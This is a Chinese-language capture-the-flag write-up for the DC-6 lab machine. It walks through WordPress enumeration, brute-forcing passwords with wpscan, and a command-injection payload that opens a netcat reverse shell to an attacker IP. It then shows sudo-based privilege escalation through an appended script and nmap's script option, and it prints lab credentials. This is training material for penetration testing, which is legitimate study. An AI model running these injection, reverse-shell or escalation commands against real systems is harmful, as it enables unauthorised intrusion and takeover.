dc6靶机攻略

dc6

扫描

dirsearch -u http://10.4.7.149

whatweb http://10.4.7.149

扫描结果显示需要修改hosts才能访问主页

随后可以使用http://wordy可以访问

渗透

由于发现是wordpress搭建的，因此使用和dc2相同的操作试试看

wpscan --url http://dc-2 --enumerate u 

使用wpscan获取用户名

写入文件当做字典

随后使用cewl生成密码字典

cewl -w pojie1.txt http://wordy

wpscan爆破一下密码

wpscan --url http://wordy -U pojie_user.txt -P pojie1.txt

爆破不成功

官网作者提示使用rockyou字典，而且还有筛选

得到用户信息

mark:helpdesk01

该用户即可登录wp

在activity monitor tools发现疑似可以执行代码的框

f12看一下这个框，发现限制长度，把长度值直接改了，然后输入

127.0.0.1;nc -e /bin/bash 10.4.7.138 12138

反弹成功

使用命令回显

python -c 'import pty;pty.spawn("/bin/bash")'

在/home/mark中发现该文件

得到用户信息

graham:GSo7isUM1D4

提权

ssh可连接该用户

使用sudo -l可以发现jens可以无密码执行backup.sh

追加写入该文件一条，执行时获取jens的shell

echo "/bin/bash" >> backups.sh

随后进入jens目录下执行文件

sudo -u jens /home/jens/backups.sh

再次使用sudo -l

发现可以以root身份无密码执行nmap

nmap的–script参数可以执行脚本

先写一个脚本文件，然后sudo执行

echo 'os.execute("/bin/bash")'>use.sh
sudo nmap --script=use.sh

这块貌似可能缺点啥…执行不顺畅，但是成功提权了